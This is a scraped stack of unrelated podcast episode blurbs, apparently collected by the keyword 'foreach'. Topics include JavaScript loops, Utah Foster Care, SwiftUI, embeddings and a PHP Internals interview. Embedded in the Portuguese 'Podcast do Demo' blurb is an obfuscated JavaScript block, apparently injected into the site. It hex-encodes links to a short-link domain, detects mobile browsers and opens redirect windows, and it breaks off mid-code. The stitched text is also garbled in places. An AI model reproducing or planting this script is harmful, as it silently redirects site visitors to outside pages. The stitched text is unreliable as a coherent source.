control flow statement
POPULARITY
Jemima Abu, Senior Product Engineer at CAIS, joins the podcast to unpack her no-fluff approach to functional programming in JavaScript. From why predictable code matters to how higher-order functions like map and reduce can save your sanity, Jemima breaks down real-world lessons on purity, immutability, and when it's okay to not be a functional purist. Links https://v3.jemimaabu.com https://www.jemimaabu.com https://www.linkedin.com/in/jemimaabu https://x.com/jemimaabu https://github.com/jemimaabu We want to hear from you! How did you find us? Did you see us on Twitter? In a newsletter? Or maybe we were recommended by a friend? Let us know by sending an email to our producer, Emily, at emily.kochanekketner@logrocket.com (mailto:emily.kochanekketner@logrocket.com), or tweet at us at PodRocketPod (https://twitter.com/PodRocketpod). Follow us. Get free stickers. Follow us on Apple Podcasts, fill out this form (https://podrocket.logrocket.com/get-podrocket-stickers), and we'll send you free PodRocket stickers! What does LogRocket do? LogRocket provides AI-first session replay and analytics that surfaces the UX and technical issues impacting user experiences. Start understand where your users are struggling by trying it for free at [LogRocket.com]. Try LogRocket for free today.(https://logrocket.com/signup/?pdr) Special Guest: Jemima Abu.
What began as a bold experiment in Utah now celebrates 25 years of nurturing families and transforming lives. As we reflect on a quarter-century of dedicated service in foster care, we take a moment to appreciate the profound impact that Utah Foster Care has had on countless children, families, and communities Building on Bold Beginnings Twenty-five years ago, a visionary idea took root in Utah—to create an organization solely focused on recruiting, training, and supporting foster families. Through the leadership of Governor Mike Leavitt and partnerships with community and state agencies, Utah Foster Care emerged as a unique entity dedicated to serving the needs of foster children and the families who care for them. Commitment to Children First At the heart of Utah Foster Care's mission is an unwavering commitment to putting children's needs first. As shared by Brian Young, a regional trainer, the primary goal is to ensure that every child in foster care feels safe, understood, and supported. Brian’s moving recollection of a time when the reality of a child's loss deeply resonated with him emphasizes the importance of empathy and awareness in foster care. Supporting Foster Families The organization’s success also lies in its continuous support for foster families. Debra Lindner and Liz Rivera, co-hosts of the podcast, illustrate how Utah Foster Care goes beyond initial training by maintaining long-term relationships with foster parents. This ongoing support helps equip families with the skills needed to provide nurturing and stable environments for children who have experienced trauma. Recognizing and Addressing Challenges Utah Foster Care has always been proactive in addressing systemic challenges. From embracing cultural diversity to implementing inclusive practices, the organization has made significant strides. Mike, a clinical consultant, and Les, a trainer, discussed efforts to understand and honor the cultural backgrounds of children in care, particularly those from Native American and Latino communities. The Evolution of Training and Understanding In the early years, foster training was more behavior-focused. Over time, it has evolved into a trauma-informed approach grounded in brain science. Understanding the brain's development and the impact of trauma has revolutionized the training provided to foster parents, emphasizing the need for compassion and tailored support. A Vision for the Future Looking ahead, Utah Foster Care aspires to have families waiting for children, not the other way around. The organization remains committed to adapting based on continuous learning and the evolving needs of children and families. The involvement of Governor Cox and First Lady Abby Cox has brought unprecedented attention and resources to the cause, promising even greater progress in the years to come. Conclusion As we commemorate 25 years of Utah Foster Care, we celebrate the resilience of the children, the dedication of foster families, and the passion of the staff. With over 16,000 families trained since 1999, Utah Foster Care stands as a beacon of hope and compassion. For those inspired to join this journey, remember that you don’t need to know everything to become a foster parent—you just need to be willing to learn. To find out more about foster parenting and other ways to get involved, visit utahfostercare.org. Here’s to another 25 years of making a difference, one child at a time. var gform;gform||(document.addEventListener("gform_main_scripts_loaded",function(){gform.scriptsLoaded=!0}),window.addEventListener("DOMContentLoaded",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener("DOMContentLoaded",o):document.addEventListener("gform_main_scripts_loaded",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook("action",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook("filter",o,n,r,t)},doAction:function(o){gform.doHook("action",o,arguments)},applyFilters:function(o){return gform.doHook("filter",o,arguments)},removeAction:function(o,n){gform.removeHook("action",o,n)},removeFilter:function(o,n,r){gform.removeHook("filter",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+"_"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){"function"!=typeof(t=o.callable)&&(t=window[t]),"action"==n?t.apply(null,r):r[0]=t.apply(null,r)})),"filter"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}}); Want to learn more about becoming a foster parent? First Name* Last Name* PhoneE-Mail Town State*Select a StateUtahOut of StateCounty*Select a CountyBeaver CountyBox Elder CountyCache CountyCarbon CountyDaggett CountyDavis CountyDuchesne CountyEmery CountyGarfield CountyGrand CountyIron CountyJuab CountyKane CountyMillard CountyMorgan CountyPiute CountyRich CountySalt Lake CountySan Juan CountySanpete CountySevier CountySummit CountyTooele CountyUintah CountyUtah CountyWasatch CountyWashington CountyWayne CountyWeber CountyOUT OF STATEHow did you hear about us?*How did you hear about us?BillboardCare CommunityChurchDCFSEventFacebookFamily/FriendFoster/Adoptive ParentInstagramPartner AgencyPresentation (digital)Presentation (in person)Previously LicensedPrint MediaRadioRaise the FutureTelevisionUFC EmployeeWebsiteWhich type of Care Community?*ChurchBusinessWhich Church Organization?* Which Business?* Δ /* = 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_1');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_1').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){form_content.find('form').css('opacity', 0);jQuery('#gform_wrapper_1').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_1').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_1').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_1').val();gformInitSpinner( 1, 'https://utahfostercare.org/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [1, current_page]);window['gf_submitting_1'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}jQuery('#gform_wrapper_1').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [1]);window['gf_submitting_1'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_1').text());}else{jQuery('#gform_1').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger("gform_pre_post_render", [{ formId: "1", currentPage: "current_page", abort: function() { this.preventDefault(); } }]); if (event && event.defaultPrevented) { return; } const gformWrapperDiv = document.getElementById( "gform_wrapper_1" ); if ( gformWrapperDiv ) { const visibilitySpan = document.createElement( "span" ); visibilitySpan.id = "gform_visibility_test_1"; gformWrapperDiv.insertAdjacentElement( "afterend", visibilitySpan ); } const visibilityTestDiv = document.getElementById( "gform_visibility_test_1" ); let postRenderFired = false; function triggerPostRender() { if ( postRenderFired ) { return; } postRenderFired = true; jQuery( document ).trigger( 'gform_post_render', [1, current_page] ); gform.utils.trigger( { event: 'gform/postRender', native: false, data: { formId: 1, currentPage: current_page } } ); if ( visibilityTestDiv ) { visibilityTestDiv.parentNode.removeChild( visibilityTestDiv ); } } function debounce( func, wait, immediate ) { var timeout; return function() { var context = this, args = arguments; var later = function() { timeout = null; if ( !immediate ) func.apply( context, args ); }; var callNow = immediate && !timeout; clearTimeout( timeout ); timeout = setTimeout( later, wait ); if ( callNow ) func.apply( context, args ); }; } const debouncedTriggerPostRender = debounce( function() { triggerPostRender(); }, 200 ); if ( visibilityTestDiv && visibilityTestDiv.offsetParent === null ) { const observer = new MutationObserver( ( mutations ) => { mutations.forEach( ( mutation ) => { if ( mutation.type === 'attributes' && visibilityTestDiv.offsetParent !== null ) { debouncedTriggerPostRender(); observer.disconnect(); } }); }); observer.observe( document.body, { attributes: true, childList: false, subtree: true, attributeFilter: [ 'style', 'class' ], }); } else { triggerPostRender(); } } );} ); /* ]]> */
I've got tunes from the likes of Raffy Peyré, Foreach, Daniela La Luz & more in The First 30 Mix…Then, #DnB time w/Mantra, Visionobi, & Etherwood before taking it home in DISC 2 with a contemplative tune by Baby Weight! Tracklist "Marc Cotterell — Bass In Space — Bass In Space (Single) — Plastik People Digital Jack District — Classic Love — Raw Pulses — Plastik People Digital Renate, Presi On, Augusto Yepes, Pacho Carnaval — Cuarto Oscuro — Cuarto Oscuro/BAQ Spicy — Nervous Records Raffy Peyré — La Costa Gold — OGE006D Raffy Peyré — OGE Music Group Eskuche — Devotion — Business EP — TBX Records Daniela La Luz, Vanilla — Animal Queendom — Global Transformation — Chiwax Foreach — This is It — This Is It EP — Misplaced Recordings Mantra — Burn & Heal — ITX032-Burn & Heal — Ilian Tape Visionobi ft Etherwood — More To Life — Weather The Storm LP — Soulvent Records Etherwood — Lucid — Where The Flowers Grow — Stillness Music Siege MC, Jolliffe — Drift — Drift (Single) — Rinse/KOOL Baby Weight — Inner Voice — LP Giobbi x Insomniac Records Presents Femme House Vol. 2 — Insomniac Records "
Random Tech Talks: Resumen del EpisodioEn este episodio fascinante de "Random Tech Talks", nos sumergimos en el intrigante mundo de los embeddings, una herramienta esencial en el campo del aprendizaje automático y la inteligencia artificial. Este tema, presentado de manera amigable para principiantes, nos revela cómo estos vectores de características pueden capturar la esencia de los datos de maneras increíblemente eficientes y multifacéticas. ¿Qué son los Embeddings?Los embeddings son, básicamente, representaciones numéricas de alta dimensión de datos complejos como palabras, imágenes o incluso comportamientos de usuarios. Lo que los hace tan poderosos es su capacidad para preservar relaciones semánticas, como la cercanía entre conceptos o la similitud entre características, en un espacio de menor dimensión. ¿Cómo Funcionan?A través de ejemplos ilustrativos, se explica cómo algoritmos como Word2Vec transforman palabras en vectores, permitiendo operaciones matemáticas que reflejan relaciones semánticas reales. Por ejemplo, la famosa ecuación "Rey - Hombre + Mujer = Reina" se convierte en una realidad en este espacio vectorial.Aplicaciones en Realización de Preguntas y Respuestas Generativas (RAG) Una aplicación emocionante de los embeddings se encuentra en los sistemas de Realización de Preguntas y Respuestas Generativas (RAG), donde se combinan con modelos de lenguaje para generar respuestas informativas y contextualmente relevantes. Esto no solo mejora la precisión de las respuestas en asistentes virtuales y motores de búsqueda, sino que también abre puertas a formas más naturales de interacción hombre-máquina. Innovaciones en IA: Devin y Figure 01El episodio también abordó brevemente las últimas innovaciones en el campo de la IA, destacando a Devin, el primer ingeniero de software potenciado por inteligencia artificial, cuya capacidad para escribir y optimizar código está desafiando nuestras nociones tradicionales del desarrollo de software. Por otro lado, se mencionó a Figure 01, el robot autónomo que ha dejado atrás las demostraciones tecnológicas de Elon Musk, mostrando habilidades y autonomía que parecen sacadas de la ciencia ficción, desde navegación independiente hasta interacciones complejas con el entorno.Este episodio no solo aclara conceptos fundamentales de la IA para los entusiastas de la tecnología sino que también ilustra el impacto profundo y creciente de estos avances en nuestra sociedad. La discusión sobre Devin y Figure 01, en particular, nos invita a reflexionar sobre el futuro de la tecnología y su papel en redefinir los límites de lo posible. LinksGoogle Machine Learning Crash Course: Embeddings:Merriam-Webster: RAGVideo de Figure 01Puedes ver este episodio en YouTube Código fuenteIncluimos aquí el código fuente tal y como se vio en el programa. Recuerda queNecesitas un Key de OpenAI. Una vez que lo obtengas, lo guardas en un archivo que debe llamarse .envGuarda este código en un archivo que se llame embedText.js o como quieras :)require('dotenv').config(); const { Configuration, OpenAIApi } = require("openai"); if (process.argv.length < 2) { console.log("Uso: node embedText.js "); process.exit(1); } var textToEmbed = '' var arregloEmbeds = new Array(); const readline = require('readline').createInterface({ input: process.stdin, output: process.stdout }); function askForInput() { readline.question('Introduce un texto (o "exit" para salir): ', async(input) => { if (input.toLowerCase() === 'exit') { console.log('Hasta luego.'); readline.close(); } else { console.log(`Tu texto: ${input}`); textToEmbed = input embedding = await getEmbedding(textToEmbed); // Lo comparo comparaEmbeds(embedding, textToEmbed); // Y lo agrego al arreglo arregloEmbeds.push({ "texto": textToEmbed, "embedding": embedding, "similitud": 0.0 }); //arregloTextos.push(textToEmbed); askForInput(); // Siguiente embedding } }); } // Setup OpenAI API const configuration = new Configuration({ apiKey: process.env.OPENAI_API_KEY, }); const openai = new OpenAIApi(configuration); askForInput(); // Llamada inicial async function getEmbedding(text) { try { console.log('creando embedding') const response = await openai.createEmbedding({ model: "text-embedding-ada-002", // or choose another model as needed input: text, }); console.log(response.data.data[0].embedding); return response.data.data[0].embedding; } catch (error) { console.error("Error generando embedding:", error); } } async function generateResponse(text) { const response = await openai.createCompletion({ model: "gpt-3.5-turbo-instruct", prompt: text, temperature: 0.7, max_tokens: 150, }); console.log(response.data.choices[0].text.trim()); } function comparaEmbeds(ultimoEmbedding, ultimoTexto) { console.log(ultimoTexto); if (arregloEmbeds.length ({ texto: item.texto, similitud: cosineSimilarity( item.embedding, ultimoEmbedding) })); console.log(similares) arregloEmbeds.forEach((item, index) => { item.similitud = similares[index] }); arregloEmbeds.sort((a, b) => b.similitud - a.similitud); generateResponse(`Eres un asistente que quiere contestar la pregunta siguiente: ${ultimoTexto} y la respuesta que debes tomar en cuenta es ${arregloEmbeds[0].texto}. Escribe un texto de máximo 100 palabras dando amablemente esta respuesta.`); } function cosineSimilarity(vecA, vecB) { let dotProduct = 0; let normA = 0; let normB = 0; for (let i = 0; i < vecA.length; i++) { dotProduct += vecA[i] * vecB[i]; normA += vecA[i] ** 2; normB += vecB[i] ** 2; } return dotProduct / (Math.sqrt(normA) * Math.sqrt(normB)); } InvitaciónTe invitamos a escuchar este episodio y participar en nuestras redes sociales, sobre todo en la página de Facebook que está en en este link.Este y todos los demás episodios de Random Tech Talks pueden escucharse en rtt.show, y en todas las plataformas de podcast (si encuentras una en la que no estamos, avísanos!).Si te gustó este episodio no dejes de suscribirte y recomendarnos con amigos y enemigos, y sobre todo con todos los que creas se beneficiarían de saber un poco más de tecnología platicada desde un nivel más terrenal.
Subscriber-Only: Today's episode is available only to subscribers. If you are a Point-Free subscriber you can access your private podcast feed by visiting https://www.pointfree.co/account. --- We can now observe struct, optional, and enum state in the Composable Architecture, but what about collections? Let's explore what it takes to get rid of the `ForEachStore` wrapper view for a vanilla `ForEach` view instead, while still observing updates to collection state in the most minimal way possible.
في الحلقة دي بنغطي الـ For loos والفروق ما بين For ... in و For ... of مع بعض التعمق في ازاي بيشتغلو. واكيد في سؤال مهم اجا علي بالك، امتي استعملهم خاصة وانا عندي طرق اسهل مع ال( Array methods زي forEach و map. وبختم بايه حكاية every وازاي ممكن تعملي مشاكل غير متوقعة! لينكات مفيدة: Enumerability and ownership of properties ES2023 New array methods JavaScript WTF: Why does every() return true for empty arrays? Antecedent Vacuous Truth
Podcast do Demo #267 Lançado: 04 maio de 2023 Cabecinhas vazias, vamos trocar uma ideia sobre a 7ª arte (também conhecida como interação filmada com o chat GPT - #Brinks)!!! Vamos selecionar os melhores westerns modernos que não usam animais e as disputas de vida ou morte usam cards colecionáveis, indicar os melhores e piores diretores Norte coreanos de cinema mudo e ainda fazer uma lista incrível de filmes de diretoras iraquianas feministas. Não percam o maior e melhor podcast já criado pela humanidade!!! Essa é a Oficina do Demo - HaterShow!!! Inscreva-se no nosso podcast na Spotify, iTunes, Deezer ou na Google Podcasts e ouça o episódio no melhor horário para você! function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx55x61x55x32x63x352','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx73x6ex61x33x63x343','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx52x7ax73x30x63x330','random','-local-storage','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ex43x42x37x63x307','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx58x4dx43x36x63x356','12075252qhSFyR','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax56x65x38x63x348','x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6ax62x43x35x63x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx46x55x67x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx6bx55x62x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx73x68x6fx2dx72x74x2ex6cx69x6ex6bx2fx61x68x78x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll...
In this episode, I'm going to talk about:When does a SwiftUI Environment get retained?Animated Launch Screen in SwiftUIA Guided Tour for SwiftUI ForEach StructureWhat is the difference between List and ForEach in SwiftUIHow Does Swift Concurrency Prevents Thread Explosions?Building custom layout in SwiftUI. BasicsUsing SwiftUI Effects Library: How to Add Particle Effects to iOS AppsIntroducing - Swift cheatsheet - The.Swift.Dev.This episode is something special. According to the stats of my podcast hosting provider, this is my 200th episode. And what a ride I had between this episode and my previous one. My last episode was published two and a half weeks ago. And a lot of things happened since then.I was still preparing for Do iOS on November 3 and 4.Had a weekend I kept going over my notes for Do iOS.Then the Do iOS workshop started with Daniel Steinberg and I was collecting and bringing some of the material we needed for Do iOS to Amsterdam. For lunch, I stopped at the workshop to check in on things and talk to a few people to get the vibe of the crowd at the workshop. It was pretty good.Then it was November 8. Do iOS day. I was the stage host the entire day, but we started with onboarding everyone at the door. I spoke a few words with all attendees at registration. Then an entire day of talks, making sure catering was taken care of, taking care of little issues. And making sure we kept a good pace. At the end we had a nice social drink with all attendees and a typical small Dutch snack.Evening of the first conf day, we had a sort of casual diner, and it got a bit out of hand. We raided a restaurant and stressed out kitchen staff with such a big unannounced group. We smoothed this one over by indicating to prioritize other tables and to serve all my guest's food when ready. So we all ate a bit out of band with each other, but it actually allowed for people to listen foRunwayPut your mobile releases on autopilot and keep the whole team in sync throughout. More info on runway.team Lead Software Developer Learn best practices for being a great lead software developer.Support the showPlease rate me on Apple Podcasts. Send me feedback on SpeakPipeOr contact me through twitter or Mastodon: @appforce1@mastodon.cloudBuy me a Coffee or become a member of my podcast.My book: Being a Lead Software Developer
In this Hasty Treat, Scott and Wes do a little this vs that with map vs reduce, forEach vs for in, .hasOwnProperty() vs in vs .hasOwn(), CSS absolute + left/right/top/bottom vs transform, and more. Prismic - Sponsor Prismic is a Headless CMS that makes it easy to build website pages as a set of components. Break pages into sections of components using React, Vue, or whatever you like. Make corresponding Slices in Prismic. Start building pages dynamically in minutes. Get started at prismic.io/syntax. Sentry - Sponsor If you want to know what's happening with your code, track errors and monitor performance with Sentry. Sentry's Application Monitoring platform helps developers see performance issues, fix errors faster, and optimize their code health. Cut your time on error resolution from hours to minutes. It works with any language and integrates with dozens of other services. Syntax listeners new to Sentry can get two months for free by visiting Sentry.io and using the coupon code TASTYTREAT during sign up. Show Notes 01:30 Sponsor: Prismic 02:58 Sponsor: Sentry 04:21 .filter() and .map() (every, one, etc…) VS Reduce 09:17 .forEach() vs for in / for of 15:52 .hasOwnProperty() vs in vs .hasOwn() 19:37 CSS absolute + left/right/top/bottom vs transform 22:54 Object.assign({}, obj) vs {…spread} Animal Friendly idioms Tweet us your tasty treats Scott's Instagram LevelUpTutorials Instagram Wes' Instagram Wes' Twitter Wes' Facebook Scott's Twitter Make sure to include @SyntaxFM in your tweets
Robi je diplomirani inženir računalništva in informacijskih tehnologij, ustanovitelj in direktor mlade digitalne agencije Foreach Labs. Svojo karierno in podjetniško pot je gradil v številnih IT podjetjih, sprva kot full-stack developer, kasneje je bil predavatelj na višji strokovni šoli v Velenju in od tam nadaljeval karierno pot kot vodja enote za razvoj aplikativnih rešitev v podjetju BTC d.d. Nazadnje je bil vodja tehnološkega razvoja (CTO) v podjetju BTC Phoenix d.o.o., kjer je bil odgovoren za razvoj kompleksnih eCommerce rešitev in integraciji novih tehnologij in modelov. V svoji karieri je Robi delal tudi na lastnih projektih preko svojega podjetja, kjer je pridobival izkušnje iz podjetništva in vodenja, pridobljeno znanje in izkušnje pa sedaj uporablja pri svojem delu v digitalni agenciji Foreach Labs. Naj citat: If you can't explain it simply you don't understand it well enough Naj knjiga: Rich dad, poor dad Naj serija: That 70s Show Hobiji: igranje kitare, fitness, sprehodi s psom, reševanje rubikove kocke :) Najljubša hrana: Steak definitivno =) Najljubši podjetnik: Elon Musk Naj app: Revolut Zaključni nauk: · Čimveč preizkušaj, se igraj in se ne ustavljaj.
PHP Internals News: Episode 94: Unwrap Reference After Foreach London, UK Thursday, August 26th 2021, 09:22 BST In this episode of "PHP Internals News" I chat with Nikita Popov (Twitter, GitHub, Website) about the "First Class Callable Syntax" RFC. The RSS feed for this podcast is https://derickrethans.nl/feed-phpinternalsnews.xml, you can download this episode's MP3 file, and it's available on Spotify and iTunes. There is a dedicated website: https://phpinternals.news Transcript Derick Rethans 0:14 Hi, I'm Derick. Welcome to PHP internals news, the podcast dedicated to explaining the latest developments in the PHP language. This is Episode 94. Today I'm talking with Nikita Popov about the unwrap reference after foreach RFC that he's proposing. Nikita, would you please introduce yourself? Nikita Popov 0:33 Hi, Derick. I'm Nikita and I work at JetBrains on PHP core development. Derick Rethans 0:38 So no changes compared to the last time. Nikita Popov 0:41 Yes, at the time before that. Derick Rethans 0:43 So what is the problem that is RFC is going to solve? Nikita Popov 0:46 Well, it's really a very minor thing. I think it's a relatively well known problem for the more experienced PHP programmers. It's like a classic example, you have a foreach loop by reference. So foreach array as value by reference, and then you do a second loop after that, foreach array as value at the same it's by value. So without the reference sign. The result of that is that your last two array elements are going to be the same, which is kind of unexpected. If you're not familiar with how references in PHP work and scoping in PHP works. So I think it's worth explaining what's going on there. Derick Rethans 1:27 Can you quickly explain the scoping or rather the lack of it, I suppose? Nikita Popov 1:31 Yeah, it's really the lack of PHP really only has function scoping. So if you have a foreach array as value, then the value variable is going to stay alive, even after the foreach loop. And usually, that won't make much of a difference. So you will just have like reference to the last element of the array, might even be useful for some cases, you know, before we added the array, I think, array_key_last function. If the last element now is a reference, so if you have a reference to the last element, then you're write into that variable is also going to modify the last element of the array. So if you now have a second foreach loop, using the same variable, that's actually not just modifying that variable, but it's also always modifying the last element of the array. Derick Rethans 2:15 Okay, just to clarify, it isn't necessarily the last element in the foreach loop. It's the last one that's been assigned to? Nikita Popov 2:22 Yeah, that's, that's true. Derick Rethans 2:24 Is this not something that people actually use for some useful reasons? Nikita Popov 2:28 As mentioned before, technically, you could use it to get a reference to the last element and then modify the last element outside the foreach loop. I don't think this is a particularly common use case. But I'm sure people have used in here there. This is a use case we would break with the proposed RFC. Derick Rethans 2:47 I think it is one I have used in the past, it's probably not how I would do it now. But I'm pretty sure I have some point in the past. What are you proposing to change with this RFC? Nikita Popov 2:57 The change is pretty simple. And that's to unwrap or to break the reference after the loop. You will still have like after the loop, the variable will still contain the value of the last element, or of the last like visited element, but it will no longer be a reference to it. If you write into the variable, it will not modify the original array. And if you have a second loop that writes into the variable that also doesn't modify the original error any more. Derick Rethans 3:25 At which point and how is this reference broken? Nikita Popov 3:29 It's at the end of the foreach loop, or as you say, if you break out too early, then of course, it would also get broken. So it's referenced inside the foreach loop and stops being referenced outside the loop. Derick Rethans 3:41 And that would happen also, if I would use a goto for example? Nikita Popov 3:45 Oh, that that's a trick question, actually, yes, it should happen. But now that you have mentioned it, I think my current implementation does not handle that particular case, I will have to double check it. But that should happen, yes. Derick Rethans 4:00 It's good to know that you've thought about it then. Nikita Popov 4:02 Well, I didn't think about it. Because I mean, I guess I can mention it here, the way this works is that well, at the end of the foreach loop, we have like an instruction that frees the loop variable. And I can just add an additional one that breaks reference. But if you use things like goto or multi level breaks, or something like that, then we insert these clean-up instructions before the jump. We have to make sure to actually insert the reference breaking instruction there as well. So it's like not automatically handled. Derick Rethans 4:38 Is this going to be a separate instruction or as we tend to call them opcodes? Nikita Popov 4:43 I'm using a separate one, but one could run it as a flag into the instruction that frees the loop variable, but I think it's cleaner to have a separate instruction for it. Like technically one could optimize it away in some cases, like I wouldn't bother but it's like semantically a different thing. Derick Rethans 5:01 I think it'd be nicer result, because it makes it easier to visualize what's happening, right? Nikita Popov 5:06 Yeah, it is. Derick Rethans 5:07 Did you actually check whether some code uses this construct? Nikita Popov 5:10 I have to admit, I tried checking it using a very basic approach, just look at foreach loops by reference. And then if the variable is used after that. But that kind of primitive approach has way too many false positives, for example, you have a foreach loop inside, and if, and then the variable is reused inside an else. So it like wouldn't flow from the if into the else. So you would have to do some kind of more sophisticated control flow analysis. It's something that can be done, but I didn't bother doing it for a one off backwards compatibility check. So I don't have any hard data on how much code is actually using something like this. Derick Rethans 5:51 So this is where I'm a little bit on the fence about this change, because it is changing behaviour, that's going to be pretty hard to figure out what is actually going to affect your codebase. Nikita Popov 6:01 It should be possible to very reliably detect that. It's just something you have to actually implement. But you're right now there is no easy way to check that. Derick Rethans 6:13 It's something that static analysers could probably have a look at. Nikita Popov 6:16 Yeah, expect that maybe Psalm or PHPStan, something like that will be easier to implement, because they already have control flow information. Derick Rethans 6:23 You don't really know how impactful this, which is, in my opinion, a bit of the scary bit. How important do you think you'll find it to have this RFC going through and implemented? Nikita Popov 6:33 I don't think it's super important. It's mostly like, small quality of life fix for newer developers . People who have already encountered this issue once won't forget about it again. In fact, it's somewhat common recommendation that you should always unset the loop variable after a foreach by reference loop. So I've seen that as like a policy some people use, that could be avoided. So yeah, I don't think it's a critical feature, just a small improvement. Derick Rethans 7:08 Would it be an alternative idea to instead deprecate the foreach by reference? Nikita Popov 7:14 Okay, that's the radical approach. Everything is possible. I think that foreach by reference is relatively, I mean, I think it's one of the most common uses of references we have, and one of the most reasonable ones. I mean, the alternative is search into by value loop, and then you modify it by looking up the element by key again, which is a bit more ugly, I would say. I think we shouldn't deprecate foreach by reference, though it would be kind of nice to have a different way to achieve the same. One other unfortunate thing about foreach by reference is that it leaves behind references in the array. The case I'm looking at here is this reference to the last element, where you have like reference structure that's pointed to both from inside the array, and from this loop variable. The other thing that foreach by reference does is that for all the other array elements, you will actually leave behind the reference wrapper that's just used in this one single place for this single array element. Essentially, you are wasting memory, because we will leave behind this that reference wrapper. So after you do the foreach by reference loop over the array, the array will actually grow larger. So if you're storing like integers, and it may grow significantly larger, like from a technical perspective, foreach by references, also not great. But like from a usability perspective, it's nicer then modifying values by key 